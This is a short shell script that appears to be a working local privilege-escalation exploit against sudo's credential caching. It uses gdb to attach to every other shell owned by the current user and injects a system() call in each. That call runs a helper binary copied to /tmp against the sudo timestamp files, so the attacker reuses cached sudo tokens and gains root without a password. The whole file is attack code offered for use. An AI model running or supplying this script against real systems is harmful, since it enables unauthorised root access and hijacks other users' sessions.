#!/bin/sh

# create an invalid sudo entry for the current shell
echo | sudo -S >/dev/null 2>&1
echo "Current process : $$"
cp activate_sudo_token /tmp/
chmod +x activate_sudo_token
# timestamp_dir=$(sudo --version | grep "timestamp dir" | grep -o '/.*')
# inject all shell belonging to the current user, our shell one :p
for pid in $(pgrep '^(ash|ksh|csh|dash|bash|zsh|tcsh|sh)$' -u "$(id -u)" | grep -v "^$$\$")
do
        echo "Injecting process $pid -> "$(cat "/proc/$pid/comm")
        echo 'call system("echo | sudo -S /tmp/activate_sudo_token /var/lib/sudo/ts/* >/dev/null 2>&1")' \
                | gdb -q -n -p "$pid" >/dev/null 2>&1
done
